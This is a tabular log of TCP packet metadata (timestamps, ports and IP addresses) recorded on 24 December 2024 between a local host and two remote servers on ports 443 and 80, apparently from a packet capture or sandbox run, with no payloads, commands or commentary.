Dec 24, 2024 22:27:05.742377996 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.742386103 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.752198935 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.752249956 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.752258062 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.765892982 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.765948057 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.765966892 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.781517029 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.781585932 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.781594992 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.795521021 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.795577049 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.795584917 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.806499004 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.806555986 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.806562901 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.820115089 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.820175886 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.820183039 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.833621979 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.833677053 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.833683968 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.847601891 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.847660065 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.847667933 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.858040094 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.858202934 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.858210087 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.871531963 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.871572971 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.871582031 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.924727917 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.924781084 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.924789906 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.927025080 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.927068949 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.927076101 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.936001062 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.936041117 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.936048031 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.947760105 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.947820902 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.947829008 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.959465981 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.959539890 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.959552050 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.971211910 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.971376896 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.971385002 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.982976913 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.983149052 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.983158112 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.995357037 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:05.995405912 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:05.995413065 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.007754087 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.007903099 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.007910013 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.017918110 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.017990112 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.017998934 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.027676105 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.027770996 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.027782917 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.037863016 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.037921906 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.037930965 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.048057079 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.048227072 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.048234940 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.057693958 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.057837963 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.057845116 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.067538023 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.067595959 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.067604065 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.075978994 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.076129913 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.076138020 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.085191011 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.085246086 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.085253000 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.093770027 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.093830109 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.093837023 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.102319002 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.102380037 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.102386951 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.111219883 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.111295938 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.111304045 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.119865894 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.119925022 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.119932890 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.127559900 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.127628088 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.127635956 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.135261059 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.135322094 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.135329008 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.139776945 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.139842987 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.139849901 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.141755104 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.141810894 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.141818047 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.147286892 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.147334099 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.147341013 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.152676105 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.152729988 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.152740955 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.158694029 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.158747911 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.158756018 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.163639069 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.163700104 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.163707018 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.168951988 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.169002056 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.169009924 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.174434900 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.174504042 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.174513102 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.174689054 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.174762964 CET	443	49734	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.174819946 CET	49734	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.295778036 CET	49742	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.295828104 CET	443	49742	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:06.295908928 CET	49742	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.296129942 CET	49742	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:06.296144962 CET	443	49742	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:07.833112955 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:07.833350897 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:07.952858925 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:07.953114033 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:07.953182936 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:07.953319073 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:07.989463091 CET	443	49742	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:07.989706993 CET	49742	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:07.989728928 CET	443	49742	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:07.990039110 CET	443	49742	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:07.990370035 CET	49742	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:07.990427017 CET	443	49742	142.250.181.68	192.168.2.4
Dec 24, 2024 22:27:08.041806936 CET	49742	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:08.072829962 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:09.264607906 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:09.264702082 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:09.444552898 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:09.444552898 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:09.456091881 CET	49742	443	192.168.2.4	142.250.181.68
Dec 24, 2024 22:27:09.564173937 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:09.564191103 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:09.564208031 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:09.880083084 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:09.880343914 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:09.893563986 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:10.013109922 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:10.324750900 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:10.324814081 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:10.678873062 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:10.798515081 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.108815908 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.108880043 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:11.436676979 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:11.556241035 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.858150005 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.858208895 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.858227968 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.858256102 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:11.858256102 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:11.858465910 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:11.858493090 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.858520031 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.858537912 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.858573914 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:11.858573914 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:11.858624935 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:11.866518021 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.866633892 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.872917891 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:11.874906063 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.874996901 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.875916004 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:11.883297920 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.883459091 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.883507967 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:11.883588076 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:11.966206074 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.966280937 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:11.966317892 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:11.966490984 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.051182032 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.051199913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.051264048 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.051264048 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.053842068 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.053931952 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.053966999 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.054116964 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.065274954 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.065440893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.065818071 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.065987110 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.071902990 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.072001934 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.072196960 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.072293997 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.080346107 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.080440998 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.080542088 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.080637932 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.088736057 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.088752985 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.088816881 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.088818073 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.095807076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.095906973 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.095942974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.096111059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.104182005 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.104245901 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.104289055 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.104430914 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.112708092 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.112838030 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.112874031 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.112912893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.122118950 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.122136116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.122186899 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.122186899 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.129374981 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.129439116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.129475117 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.129625082 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.137722015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.137835026 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.157953024 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.158025026 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.158066034 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.158155918 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.162127972 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.162240028 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.241614103 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.241734982 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.241770029 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.241877079 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.243247986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.243352890 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.243391037 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.243448019 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.248950958 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.249053955 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.249089003 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.253983974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.254648924 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.254777908 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.255167007 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.260140896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.260241032 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.260248899 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.260323048 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.265696049 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.265778065 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.265882015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.266079903 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.270754099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.270872116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.270879984 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.270963907 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.275937080 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.276038885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.276077032 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.276346922 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.281187057 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.281286955 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.281322956 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.281497002 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.286326885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.286437988 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.286469936 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.286596060 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.291517019 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.291614056 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.291619062 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.291743994 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.296731949 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.296817064 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.296849012 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.297034025 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.301918983 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.302007914 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.302057028 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.302184105 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.307106018 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.307219982 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.307251930 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.307360888 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.312290907 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.312403917 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.312458992 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.312458992 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.317481041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.317589045 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.317635059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.317747116 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.322685957 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.322761059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.322798014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.322895050 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.328155041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.328219891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.328270912 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.328422070 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.333064079 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.333149910 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.333193064 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.333477974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.338269949 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.338371038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.338406086 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.338545084 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.343442917 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.343543053 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.343579054 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.343674898 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.348606110 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.348696947 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.361326933 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.361401081 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.361438990 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.361610889 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.363928080 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.364068031 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.364074945 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.364192963 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:12.369344950 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:12.369412899 CET	80	49749	135.181.65.216	192.168.2.4
